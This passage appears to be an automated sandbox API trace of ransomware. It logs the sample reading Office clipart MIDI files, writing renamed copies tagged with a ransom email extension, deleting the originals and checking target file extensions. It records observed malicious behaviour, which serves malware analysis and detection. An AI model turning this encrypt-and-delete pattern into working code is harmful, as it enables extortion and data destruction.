Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0242.842] GetLastError () returned 0x0 [0242.842] ReadFile (in: hFile=0x324, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x13c2, lpOverlapped=0x0) returned 1 [0242.844] WriteFile (in: hFile=0x204, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x13d0, lpOverlapped=0x0) returned 1 [0242.845] ReadFile (in: hFile=0x324, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.845] WriteFile (in: hFile=0x204, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.845] SetEndOfFile (hFile=0x204) returned 1 [0242.845] CloseHandle (hObject=0x204) returned 1 [0242.845] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.845] SetEndOfFile (hFile=0x324) returned 1 [0242.848] CloseHandle (hObject=0x324) returned 1 [0242.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.848] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid")) returned 1 [0242.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0242.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0242.849] lstrlenW (lpString=".doc") returned 4 [0242.849] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.849] lstrlenW (lpString=".docx") returned 5 [0242.849] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0242.849] lstrlenW (lpString=".pdf") returned 4 [0242.849] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.849] lstrlenW (lpString=".xls") returned 4 [0242.849] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.849] lstrlenW (lpString=".xlsx") returned 5 [0242.849] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0242.849] lstrlenW (lpString=".ppt") returned 4 [0242.849] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0242.849] lstrlenW (lpString=".zip") returned 4 [0242.849] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.849] lstrlenW (lpString=".rar") returned 4 [0242.849] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.849] lstrlenW (lpString=".bz2") returned 4 [0242.849] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.849] lstrlenW (lpString=".7z") returned 3 [0242.849] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0242.849] lstrlenW (lpString=".dbf") returned 4 [0242.849] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0242.849] lstrlenW (lpString=".1cd") returned 4 [0242.849] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0242.849] lstrlenW (lpString=".jpg") returned 4 [0242.849] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0242.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0242.849] lstrlenW (lpString=".doc") returned 4 [0242.850] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.850] lstrlenW (lpString=".docx") returned 5 [0242.850] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0242.850] lstrlenW (lpString=".pdf") returned 4 [0242.850] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.850] lstrlenW (lpString=".xls") returned 4 [0242.850] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.850] lstrlenW (lpString=".xlsx") returned 5 [0242.850] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0242.850] lstrlenW (lpString=".ppt") returned 4 [0242.850] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0242.850] lstrlenW (lpString=".zip") returned 4 [0242.850] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.850] lstrlenW (lpString=".rar") returned 4 [0242.850] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.850] lstrlenW (lpString=".bz2") returned 4 [0242.850] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.850] lstrlenW (lpString=".7z") returned 3 [0242.850] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0242.850] lstrlenW (lpString=".dbf") returned 4 [0242.850] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0242.850] lstrlenW (lpString=".1cd") returned 4 [0242.850] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0242.850] lstrlenW (lpString=".jpg") returned 4 [0242.850] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.850] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.850] lstrlenW (lpString="SHOW_01.MID") returned 11 [0242.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0242.851] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=6392) returned 1 [0242.851] CloseHandle (hObject=0x324) returned 1 [0242.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid")) returned 0x20 [0242.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0242.851] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.851] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0242.852] GetLastError () returned 0x0 [0242.852] ReadFile (in: hFile=0x324, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x18f8, lpOverlapped=0x0) returned 1 [0242.853] WriteFile (in: hFile=0x204, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x1900, lpOverlapped=0x0) returned 1 [0242.854] ReadFile (in: hFile=0x324, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.854] WriteFile (in: hFile=0x204, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xea, lpOverlapped=0x0) returned 1 [0242.854] SetEndOfFile (hFile=0x204) returned 1 [0242.854] CloseHandle (hObject=0x204) returned 1 [0242.855] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.855] SetEndOfFile (hFile=0x324) returned 1 [0242.858] CloseHandle (hObject=0x324) returned 1 [0242.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid")) returned 1 [0242.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0242.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0242.859] lstrlenW (lpString=".doc") returned 4 [0242.859] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.859] lstrlenW (lpString=".docx") returned 5 [0242.859] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.859] lstrlenW (lpString=".pdf") returned 4 [0242.859] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.859] lstrlenW (lpString=".xls") returned 4 [0242.859] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.859] lstrlenW (lpString=".xlsx") returned 5 [0242.859] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.859] lstrlenW (lpString=".ppt") returned 4 [0242.859] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0242.859] lstrlenW (lpString=".zip") returned 4 [0242.859] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.859] lstrlenW (lpString=".rar") returned 4 [0242.859] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.859] lstrlenW (lpString=".bz2") returned 4 [0242.859] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.859] lstrlenW (lpString=".7z") returned 3 [0242.859] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0242.859] lstrlenW (lpString=".dbf") returned 4 [0242.859] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0242.859] lstrlenW (lpString=".1cd") returned 4 [0242.859] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0242.859] lstrlenW (lpString=".jpg") returned 4 [0242.859] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0242.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0242.859] lstrlenW (lpString=".doc") returned 4 [0242.859] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.860] lstrlenW (lpString=".docx") returned 5 [0242.860] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.860] lstrlenW (lpString=".pdf") returned 4 [0242.860] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.860] lstrlenW (lpString=".xls") returned 4 [0242.860] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.860] lstrlenW (lpString=".xlsx") returned 5 [0242.860] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.860] lstrlenW (lpString=".ppt") returned 4 [0242.860] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0242.860] lstrlenW (lpString=".zip") returned 4 [0242.860] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.860] lstrlenW (lpString=".rar") returned 4 [0242.860] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.860] lstrlenW (lpString=".bz2") returned 4 [0242.860] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.860] lstrlenW (lpString=".7z") returned 3 [0242.860] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0242.860] lstrlenW (lpString=".dbf") returned 4 [0242.860] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0242.860] lstrlenW (lpString=".1cd") returned 4 [0242.860] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 62 [0242.860] lstrlenW (lpString=".jpg") returned 4 [0242.860] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.861] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.861] lstrlenW (lpString="SPACE_01.MID") returned 12 [0242.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0242.861] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=4219) returned 1 [0242.861] CloseHandle (hObject=0x324) returned 1 [0242.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid")) returned 0x20 [0242.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0242.861] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.862] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0242.863] GetLastError () returned 0x0 [0242.863] ReadFile (in: hFile=0x324, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x107b, lpOverlapped=0x0) returned 1 [0242.864] WriteFile (in: hFile=0x204, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x1080, lpOverlapped=0x0) returned 1 [0242.865] ReadFile (in: hFile=0x324, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.865] WriteFile (in: hFile=0x204, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.865] SetEndOfFile (hFile=0x204) returned 1 [0242.866] CloseHandle (hObject=0x204) returned 1 [0242.866] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.866] SetEndOfFile (hFile=0x324) returned 1 [0242.869] CloseHandle (hObject=0x324) returned 1 [0242.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.869] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid")) returned 1 [0242.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0242.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0242.870] lstrlenW (lpString=".doc") returned 4 [0242.870] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.870] lstrlenW (lpString=".docx") returned 5 [0242.870] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.870] lstrlenW (lpString=".pdf") returned 4 [0242.870] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.870] lstrlenW (lpString=".xls") returned 4 [0242.870] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.870] lstrlenW (lpString=".xlsx") returned 5 [0242.870] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.870] lstrlenW (lpString=".ppt") returned 4 [0242.870] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0242.870] lstrlenW (lpString=".zip") returned 4 [0242.870] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.870] lstrlenW (lpString=".rar") returned 4 [0242.870] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.870] lstrlenW (lpString=".bz2") returned 4 [0242.870] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.870] lstrlenW (lpString=".7z") returned 3 [0242.870] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0242.870] lstrlenW (lpString=".dbf") returned 4 [0242.870] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0242.870] lstrlenW (lpString=".1cd") returned 4 [0242.870] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0242.871] lstrlenW (lpString=".jpg") returned 4 [0242.871] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0242.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0242.871] lstrlenW (lpString=".doc") returned 4 [0242.871] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.871] lstrlenW (lpString=".docx") returned 5 [0242.871] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.871] lstrlenW (lpString=".pdf") returned 4 [0242.871] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.871] lstrlenW (lpString=".xls") returned 4 [0242.871] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.871] lstrlenW (lpString=".xlsx") returned 5 [0242.871] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.871] lstrlenW (lpString=".ppt") returned 4 [0242.871] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0242.871] lstrlenW (lpString=".zip") returned 4 [0242.871] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.871] lstrlenW (lpString=".rar") returned 4 [0242.871] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.871] lstrlenW (lpString=".bz2") returned 4 [0242.871] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.871] lstrlenW (lpString=".7z") returned 3 [0242.871] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0242.871] lstrlenW (lpString=".dbf") returned 4 [0242.871] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0242.871] lstrlenW (lpString=".1cd") returned 4 [0242.871] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 63 [0242.871] lstrlenW (lpString=".jpg") returned 4 [0242.871] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.872] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.872] lstrlenW (lpString="SPRNG_01.MID") returned 12 [0242.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0242.872] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=6700) returned 1 [0242.872] CloseHandle (hObject=0x324) returned 1 [0242.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid")) returned 0x20 [0242.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0242.873] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.873] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0242.873] GetLastError () returned 0x0 [0242.873] ReadFile (in: hFile=0x324, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x1a2c, lpOverlapped=0x0) returned 1 [0242.875] WriteFile (in: hFile=0x204, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x1a30, lpOverlapped=0x0) returned 1 [0242.876] ReadFile (in: hFile=0x324, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, 